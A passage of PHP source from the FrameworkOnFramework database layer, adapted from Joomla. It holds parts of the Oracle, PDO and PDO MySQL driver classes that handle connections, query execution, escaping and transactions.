$query = $this->getQuery(true);
if ($includeDatabaseName)
{
$query->select('owner, table_name');
}
else
{
$query->select('table_name');
}
$query->from('all_tables');
if ($databaseName)
{
$query->where('owner = :database')
->bind(':database', $databaseName);
}
$query->order('table_name');
$this->setQuery($query);
if ($includeDatabaseName)
{
$tables = $this->loadAssocList();
}
else
{
$tables = $this->loadColumn();
}
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 12.1
*/
public function getVersion()
{
$this->connect();
$this->setQuery("select value from nls_database_parameters where
parameter = 'NLS_RDBMS_VERSION'");
return $this->loadResult();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 12.1
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Sets the Oracle Date Format for the session
* Default date format for Oracle is = DD-MON-RR
* The default date format for this driver is:
* 'RRRR-MM-DD HH24:MI:SS' since it is the format
* that matches the MySQL one used within most Joomla
* tables.
*
* @param string $dateFormat Oracle Date Format String
*
* @return boolean
*
* @since 12.1
*/
public function setDateFormat($dateFormat = 'DD-MON-RR')
{
$this->connect();
$this->setQuery("ALTER SESSION SET NLS_DATE_FORMAT =
'$dateFormat'");
if (!$this->execute())
{
return false;
}
$this->setQuery("ALTER SESSION SET NLS_TIMESTAMP_FORMAT =
'$dateFormat'");
if (!$this->execute())
{
return false;
}
$this->dateformat = $dateFormat;
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* Returns false automatically for the Oracle driver since
* you can only set the character set when the connection
* is created.
*
* @return boolean True on success.
*
* @since 12.1
*/
public function setUtf()
{
return false;
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return FOFDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLE ' . $this->quoteName($table)
. ' IN EXCLUSIVE MODE')->execute();
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by Oracle.
* @param string $prefix Not used by Oracle.
*
* @return FOFDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME ' . $oldTable . ' TO ' .
$newTable)->execute();
return $this;
}
/**
* Unlocks tables in the database.
*
* @return FOFDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('COMMIT')->execute();
return $this;
}
/**
* Test to see if the PDO ODBC connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function isSupported()
{
return class_exists('PDO') && in_array('oci',
PDO::getAvailableDrivers());
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 11.1
*/
public function replacePrefix($query, $prefix = '#__')
{
$startPos = 0;
$quoteChar = "'";
$literal = '';
$query = trim($query);
$n = strlen($query);
while ($startPos < $n)
{
$ip = strpos($query, $prefix, $startPos);
if ($ip === false)
{
break;
}
$j = strpos($query, "'", $startPos);
if ($j === false)
{
$j = $n;
}
$literal .= str_replace($prefix, $this->tablePrefix, substr($query,
$startPos, $j - $startPos));
$startPos = $j;
$j = $startPos + 1;
if ($j >= $n)
{
break;
}
// Quote comes first, find end of quote
while (true)
{
$k = strpos($query, $quoteChar, $j);
$escaped = false;
if ($k === false)
{
break;
}
$l = $k - 1;
while ($l >= 0 && $query[$l] == '\\')
{
$l--;
$escaped = !$escaped;
}
if ($escaped)
{
$j = $k + 1;
continue;
}
break;
}
if ($k === false)
{
// Error in the query - no end quote; ignore it
break;
}
$literal .= substr($query, $startPos, $k - $startPos + 1);
$startPos = $k + 1;
}
if ($startPos < $n)
{
$literal .= substr($query, $startPos, $n - $startPos);
}
return $literal;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 12.3
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 12.3
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 12.3
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
return parent::transactionStart($asSavepoint);
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Joomla Platform PDO Database Driver Class
*
* @see http://php.net/pdo
* @since 12.1
*/
abstract class FOFDatabaseDriverPdo extends FOFDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 12.1
*/
public $name = 'pdo';
/**
* @var PDO The database connection resource.
* @since 12.1
*/
protected $connection;
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 12.1
*/
protected $nameQuote = "'";
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 12.1
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* @var resource The prepared statement.
* @since 12.1
*/
protected $prepared;
/**
* Contains the current query execution status
*
* @var array
* @since 12.1
*/
protected $executed = false;
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 12.1
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['driver'] = (isset($options['driver'])) ?
$options['driver'] : 'odbc';
$options['dsn'] = (isset($options['dsn'])) ?
$options['dsn'] : '';
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['driverOptions'] =
(isset($options['driverOptions'])) ?
$options['driverOptions'] : array();
$hostParts = explode(':', $options['host']);
if (!empty($hostParts[1]))
{
$options['host'] = $hostParts[0];
$options['port'] = $hostParts[1];
}
// Finalize initialisation
parent::__construct($options);
}
/**
* Destructor.
*
* @since 12.1
*/
public function __destruct()
{
$this->disconnect();
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 12.1
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the PDO extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new RuntimeException('PDO Extension is not available.',
1);
}
$replace = array();
$with = array();
// Find the correct PDO DSN Format to use:
switch ($this->options['driver'])
{
case 'cubrid':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 33000;
$format = 'cubrid:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'dblib':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'dblib:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'firebird':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 3050;
$format = 'firebird:dbname=#DBNAME#';
$replace = array('#DBNAME#');
$with = array($this->options['database']);
break;
case 'ibm':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 56789;
if (!empty($this->options['dsn']))
{
$format = 'ibm:DSN=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format =
'ibm:hostname=#HOST#;port=#PORT#;database=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
}
break;
case 'informix':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1526;
$this->options['protocol'] =
(isset($this->options['protocol'])) ?
$this->options['protocol'] : 'onsoctcp';
if (!empty($this->options['dsn']))
{
$format = 'informix:DSN=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format =
'informix:host=#HOST#;service=#PORT#;database=#DBNAME#;server=#SERVER#;protocol=#PROTOCOL#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#', '#SERVER#', '#PROTOCOL#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database'],
$this->options['server'],
$this->options['protocol']);
}
break;
case 'mssql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'mssql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
// The pdomysql case is a special case within the CMS environment
case 'pdomysql':
case 'mysql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 3306;
$format =
'mysql:host=#HOST#;port=#PORT#;dbname=#DBNAME#;charset=#CHARSET#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#', '#CHARSET#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database'],
$this->options['charset']);
break;
case 'oci':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1521;
$this->options['charset'] =
(isset($this->options['charset'])) ?
$this->options['charset'] : 'AL32UTF8';
if (!empty($this->options['dsn']))
{
$format = 'oci:dbname=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format = 'oci:dbname=//#HOST#:#PORT#/#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
}
$format .= ';charset=' .
$this->options['charset'];
break;
case 'odbc':
$format = 'odbc:DSN=#DSN#;UID:#USER#;PWD=#PASSWORD#';
$replace = array('#DSN#', '#USER#',
'#PASSWORD#');
$with = array($this->options['dsn'],
$this->options['user'],
$this->options['password']);
break;
case 'pgsql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 5432;
$format = 'pgsql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'sqlite':
if (isset($this->options['version']) &&
$this->options['version'] == 2)
{
$format = 'sqlite2:#DBNAME#';
}
else
{
$format = 'sqlite:#DBNAME#';
}
$replace = array('#DBNAME#');
$with = array($this->options['database']);
break;
case 'sybase':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'mssql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
}
// Create the connection string:
$connectionString = str_replace($replace, $with, $format);
try
{
$this->connection = new PDO(
$connectionString,
$this->options['user'],
$this->options['password'],
$this->options['driverOptions']
);
}
catch (PDOException $e)
{
throw new RuntimeException('Could not connect to PDO: ' .
$e->getMessage(), 2, $e);
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 12.1
*/
public function disconnect()
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
$this->freeResult();
unset($this->connection);
}
/**
* Method to escape a string for usage in an SQL statement.
*
* Oracle escaping reference:
*
http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F
*
* SQLite escaping notes:
* http://www.sqlite.org/faq.html#q14
*
* Method body is as implemented by the Zend Framework
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 12.1
*/
public function escape($text, $extra = false)
{
if (is_int($text) || is_float($text))
{
return $text;
}
$text = str_replace("'", "''", $text);
return addcslashes($text, "\000\n\r\\\032");
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 12.1
* @throws RuntimeException
* @throws Exception
*/
public function execute()
{
$this->connect();
if (!is_object($this->connection))
{
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof FOFDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
// @TODO
$query .= ' LIMIT ' . $this->offset . ', ' .
$this->limit;
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
if (class_exists('JLog'))
{
JLog::add($query, JLog::DEBUG, 'databasequery');
}
$this->timings[] = microtime(true);
}
// Execute the query.
$this->executed = false;
if ($this->prepared instanceof PDOStatement)
{
// Bind the variables:
if ($this->sql instanceof FOFDatabaseQueryPreparable)
{
$bounded = $this->sql->getBounded();
foreach ($bounded as $key => $obj)
{
$this->prepared->bindParam($key, $obj->value,
$obj->dataType, $obj->length, $obj->driverOptions);
}
}
$this->executed = $this->prepared->execute();
}
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->executed)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage($query);
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage($query);
// Throw the normal query exception.
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, $this->errorNum,
$e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
}
return $this->prepared;
}
/**
* Retrieve a PDO database connection attribute
* http://www.php.net/manual/en/pdo.getattribute.php
*
* Usage: $db->getOption(PDO::ATTR_CASE);
*
* @param mixed $key One of the PDO::ATTR_* Constants
*
* @return mixed
*
* @since 12.1
*/
public function getOption($key)
{
$this->connect();
return $this->connection->getAttribute($key);
}
/**
* Get a query to run and verify the database is operational.
*
* @return string The query to check the health of the DB.
*
* @since 12.2
*/
public function getConnectedQuery()
{
return 'SELECT 1';
}
/**
* Sets an attribute on the PDO database handle.
* http://www.php.net/manual/en/pdo.setattribute.php
*
* Usage: $db->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
*
* @param integer $key One of the PDO::ATTR_* Constants
* @param mixed $value One of the associated PDO Constants
* related to the particular attribute
* key.
*
* @return boolean
*
* @since 12.1
*/
public function setOption($key, $value)
{
$this->connect();
return $this->connection->setAttribute($key, $value);
}
/**
* Test to see if the PDO extension is available.
* Override as needed to check for specific PDO Drivers.
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function isSupported()
{
return defined('PDO::ATTR_DRIVER_NAME');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 12.1
*/
public function connected()
{
// Flag to prevent recursion into this function.
static $checkingConnected = false;
if ($checkingConnected)
{
// Reset this flag and throw an exception.
$checkingConnected = true;
die('Recursion trying to check if connected.');
}
// Backup the query state.
$query = $this->sql;
$limit = $this->limit;
$offset = $this->offset;
$prepared = $this->prepared;
try
{
// Set the checking connection flag.
$checkingConnected = true;
// Run a simple query to check the connection.
$this->setQuery($this->getConnectedQuery());
$status = (bool) $this->loadResult();
}
// If we catch an exception here, we must not be connected.
catch (Exception $e)
{
$status = false;
}
// Restore the query state.
$this->sql = $query;
$this->limit = $limit;
$this->offset = $offset;
$this->prepared = $prepared;
$checkingConnected = false;
return $status;
}
/**
* Get the number of affected rows for the previous executed SQL
statement.
* Only applicable for DELETE, INSERT, or UPDATE statements.
*
* @return integer The number of affected rows.
*
* @since 12.1
*/
public function getAffectedRows()
{
$this->connect();
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->rowCount();
}
else
{
return 0;
}
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* Only applicable for DELETE, INSERT, or UPDATE statements.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 12.1
*/
public function getNumRows($cursor = null)
{
$this->connect();
if ($cursor instanceof PDOStatement)
{
return $cursor->rowCount();
}
elseif ($this->prepared instanceof PDOStatement)
{
return $this->prepared->rowCount();
}
else
{
return 0;
}
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return string The value of the auto-increment field from the last
inserted row.
*
* @since 12.1
*/
public function insertid()
{
$this->connect();
// Error suppress this to prevent PDO warning us that the driver
doesn't support this operation.
return @$this->connection->lastInsertId();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 12.1
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Sets the SQL statement string for later execution.
*
* @param mixed $query The SQL statement to set either as a
FOFDatabaseQuery object or a string.
* @param integer $offset The affected row offset to set.
* @param integer $limit The maximum affected rows to set.
* @param array $driverOptions The optional PDO driver options.
*
* @return FOFDatabaseDriver This object to support method chaining.
*
* @since 12.1
*/
public function setQuery($query, $offset = null, $limit = null,
$driverOptions = array())
{
$this->connect();
$this->freeResult();
if (is_string($query))
{
// Allows taking advantage of bound variables in a direct query:
$query = $this->getQuery(true)->setQuery($query);
}
if ($query instanceof FOFDatabaseQueryLimitable &&
!is_null($offset) && !is_null($limit))
{
$query = $query->processLimit($query, $limit, $offset);
}
// Create a stringified version of the query (with prefixes replaced):
$sql = $this->replacePrefix((string) $query);
// Use the stringified version in the prepare call:
$this->prepared = $this->connection->prepare($sql,
$driverOptions);
// Store reference to the original FOFDatabaseQuery instance within the
class.
// This is important since binding variables depends on it within
execute():
parent::setQuery($query, $offset, $limit);
return $this;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 12.1
*/
public function setUtf()
{
return false;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth == 1)
{
$this->connection->commit();
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth == 1)
{
$this->connection->rollBack();
}
$this->transactionDepth--;
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
$this->connection->beginTransaction();
}
$this->transactionDepth++;
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchArray($cursor = null)
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetch(PDO::FETCH_NUM);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetch(PDO::FETCH_NUM);
}
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchAssoc($cursor = null)
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetch(PDO::FETCH_ASSOC);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetch(PDO::FETCH_ASSOC);
}
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class Unused, only necessary so method signature
will be the same as parent.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetchObject($class);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetchObject($class);
}
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 12.1
*/
protected function freeResult($cursor = null)
{
$this->executed = false;
if ($cursor instanceof PDOStatement)
{
$cursor->closeCursor();
$cursor = null;
}
if ($this->prepared instanceof PDOStatement)
{
$this->prepared->closeCursor();
$this->prepared = null;
}
}
/**
* Method to get the next row in the result set from the database query as
an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The result of the query as an array, false if there
are no more rows.
*
* @since 12.1
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use getIterator() instead
*/
public function loadNextObject($class = 'stdClass')
{
if (class_exists('JLog'))
{
JLog::add(__METHOD__ . '() is deprecated. Use
FOFDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
}
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchObject(null, $class))
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 12.1
* @throws RuntimeException
*/
public function loadNextAssoc()
{
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchAssoc())
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 12.1
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use getIterator() instead
*/
public function loadNextRow()
{
if (class_exists('JLog'))
{
JLog::add(__METHOD__ . '() is deprecated. Use
FOFDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
}
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchArray())
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* PDO does not support serialize
*
* @return array
*
* @since 12.3
*/
public function __sleep()
{
$serializedProperties = array();
$reflect = new ReflectionClass($this);
// Get properties of the current class
$properties = $reflect->getProperties();
foreach ($properties as $property)
{
// Do not serialize properties that are PDO
if ($property->isStatic() == false &&
!($this->{$property->name} instanceof PDO))
{
array_push($serializedProperties, $property->name);
}
}
return $serializedProperties;
}
/**
* Wake up after serialization
*
* @return array
*
* @since 12.3
*/
public function __wakeup()
{
// Get connection back
$this->__construct($this->options);
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) $this->connection->errorCode();
}
/**
* Return the actual SQL Error message
*
* @param string $query The SQL Query that fails
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage($query)
{
// Note we ignoring $query here as it not used in the original code.
// The SQL Error Information
$errorInfo = implode(", ",
$this->connection->errorInfo());
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorInfo = str_replace($this->tablePrefix, '#__',
$errorInfo);
}
return 'SQL: ' . $errorInfo;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* MySQL database driver supporting PDO based connections
*
* @package Joomla.Platform
* @subpackage Database
* @see http://php.net/manual/en/ref.pdo-mysql.php
* @since 3.4
*/
class FOFDatabaseDriverPdomysql extends FOFDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 3.4
*/
public $name = 'pdomysql';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mysql';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.4
*/
protected $nameQuote = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.4
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* The minimum supported database version.
*
* @var string
* @since 3.4
*/
protected static $dbMinimum = '5.0.4';
/**
* Constructor.
*
* @param array $options Array of database options with keys: host,
user, password, database, select.
*
* @since 3.4
*/
public function __construct($options)
{
/**
* Pre-populate the UTF-8 Multibyte compatibility flag. Unfortunately PDO
won't report the server version
* unless we're connected to it and we cannot connect to it unless
we know if it supports utf8mb4 which requires
* us knowing the server version. Between this chicken and egg issue we
_assume_ it's supported and we'll just
* catch any problems at connection time.
*/
$this->utf8mb4 = true;
// Get some basic values from the options.
$options['driver'] = 'mysql';
$options['charset'] = (isset($options['charset'])) ?
$options['charset'] : 'utf8';
if ($this->utf8mb4 && ($options['charset'] ==
'utf8'))
{
$options['charset'] = 'utf8mb4';
}
$this->charset = $options['charset'];
// Finalize initialisation.
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.4
* @throws RuntimeException
*/
public function connect()
{
try
{
// Try to connect to MySQL
parent::connect();
}
catch (\RuntimeException $e)
{
// If the connection failed but not because of the wrong character set
bubble up the exception
if (!$this->utf8mb4 || ($this->options['charset'] !=
'utf8mb4'))
{
throw $e;
}
/**
* If the connection failed and I was trying to use the utf8mb4 charset
then it is likely that the server
* doesn't support utf8mb4 despite claiming otherwise.
*
* This happens on old MySQL server versions (less than 5.5.3) using the
mysqlnd PHP driver. Since mysqlnd
* masks the server version and reports only its own we can not be sure
if the server actually does support
* UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the
utf8mb4 charset is undefined in this case we
* catch the error and determine that utf8mb4 is not supported!
*/
$this->utf8mb4 = false;
$this->options['charset'] = 'utf8';
parent::connect();
}
$this->connection->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);
$this->connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.4
*/
public static function isSupported()
{
return class_exists('PDO') &&
in_array('mysql', PDO::getAvailableDrivers());
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return FOFDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
